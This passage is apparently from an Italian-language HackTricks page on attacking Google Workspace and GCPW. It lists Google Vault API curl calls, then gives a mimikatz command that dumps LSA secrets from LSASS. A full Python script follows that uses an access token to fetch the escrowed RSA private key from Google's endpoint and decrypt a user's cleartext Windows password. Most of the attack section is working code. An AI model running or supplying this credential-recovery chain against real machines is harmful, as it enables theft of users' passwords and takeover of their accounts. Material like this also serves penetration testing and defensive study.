"https://sheets.googleapis.com/v4/spreadsheets/SPREADSHEET_ID/values/Sheet1!A:C:append?valueInputOption=USER_ENTERED"
```
</details>

<details>

<summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary>

**Google Workspace Vault** è un componente aggiuntivo per Google Workspace che fornisce strumenti per la conservazione dei dati, la ricerca e l'esportazione dei dati della tua organizzazione memorizzati nei servizi di Google Workspace come Gmail, Drive, Chat e altro.

- Un **Matter** in Google Workspace Vault è un **contenitore** che organizza e raggruppa tutte le informazioni relative a un caso specifico, un'indagine o una questione legale. Funziona come il centro principale per gestire **Holds**, **Searches** ed **Exports** relativi a quella particolare questione.
- Un **Hold** in Google Workspace Vault è un'**azione di conservazione** applicata a utenti o gruppi specifici per **prevenire la cancellazione o la modifica** dei loro dati all'interno dei servizi di Google Workspace. I Holds garantiscono che le informazioni pertinenti rimangano intatte e non modificate per la durata di un caso legale o di un'indagine.
```bash
# List matters
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters?pageSize=10"

# Create matter
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"name": "Legal Case 2024",
"description": "Matter for the upcoming legal case involving XYZ Corp.",
"state": "OPEN"
}' \
"https://vault.googleapis.com/v1/matters"

# Get specific matter
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>"

# List holds in a matter
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"
```
More [API endpoints in the docs](https://developers.google.com/vault/reference/rest).

</details>

## GCPW - Recupero della password in chiaro

Per abusare di GCPW per recuperare la password in chiaro, è possibile estrarre la password crittografata da **LSASS** utilizzando **mimikatz**:
```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```
Cerca quindi il segreto come `Chrome-GCPW-<sid>` come nell'immagine:

<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>

Poi, con un **access token** con il scope `https://www.google.com/accounts/OAuthLogin`, è possibile richiedere la chiave privata per decrittare la password:

<details>

<summary>Script per ottenere la password in chiaro dato l'access token, la password crittografata e l'id della risorsa</summary>
```python
import requests
from base64 import b64decode
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA

def get_decryption_key(access_token, resource_id):
try:
# Request to get the private key
response = requests.get(
f"https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/{resource_id}",
headers={
"Authorization": f"Bearer {access_token}"
}
)

# Check if the response is successful
if response.status_code == 200:
private_key = response.json()["base64PrivateKey"]
# Properly format the RSA private key
private_key = f"-----BEGIN RSA PRIVATE KEY-----\n{private_key.strip()}\n-----END RSA PRIVATE KEY-----"
return private_key
else:
raise ValueError(f"Failed to retrieve private key: {response.text}")

except requests.RequestException as e:
print(f"Error occurred while requesting the private key: {e}")
return None

def decrypt_password(access_token, lsa_secret):
try:
# Obtain the private key using the resource_id
resource_id = lsa_secret["resource_id"]
encrypted_data = b64decode(lsa_secret["encrypted_password"])

private_key_pem = get_decryption_key(access_token, resource_id)
print("Found private key:")
print(private_key_pem)

if private_key_pem is None:
raise ValueError("Unable to retrieve the private key.")

# Load the RSA private key
rsa_key = RSA.import_key(private_key_pem)
key_size = int(rsa_key.size_in_bits() / 8)

# Decrypt the encrypted data
cipher_rsa = PKCS1_OAEP.new(rsa_key)
session_key = cipher_rsa.decrypt(encrypted_data[:key_size])

# Extract the session key and other data from decrypted payload
session_header = session_key[:32]
session_nonce = session_key[32:]
mac = encrypted_data[-16:]

# Decrypt the AES GCM data
aes_cipher = AES.new(session_header, AES.MODE_GCM, nonce=session_nonce)
decrypted_password = aes_cipher.decrypt_and_verify(encrypted_data[key_size:-16], mac)

print("Decrypted Password:", decrypted_password.decode("utf-8"))

except Exception as e:
print(f"Error occurred during decryption: {e}")

# CHANGE THIS INPUT DATA!
access_token = "<acces_token>"
lsa_secret = {
"encrypted_password": "<encrypted-password>",
"resource_id": "<resource-id>"
}

decrypt_password(access_token, lsa_secret)
```
</details>

È possibile trovare i componenti chiave di questo nel codice sorgente di Chromium:

- API domain: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code)
- API endpoint: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)

## Riferimenti

- [https://www.youtube.com/watch?v=FEQxHRRP_5I](https://www.youtube.com/watch?v=FEQxHRRP_5I)
- [https://issues.chromium.org/issues/40063291](https://issues.chromium.org/issues/40063291)

{{#include ../../../banners/hacktricks-training.md}}
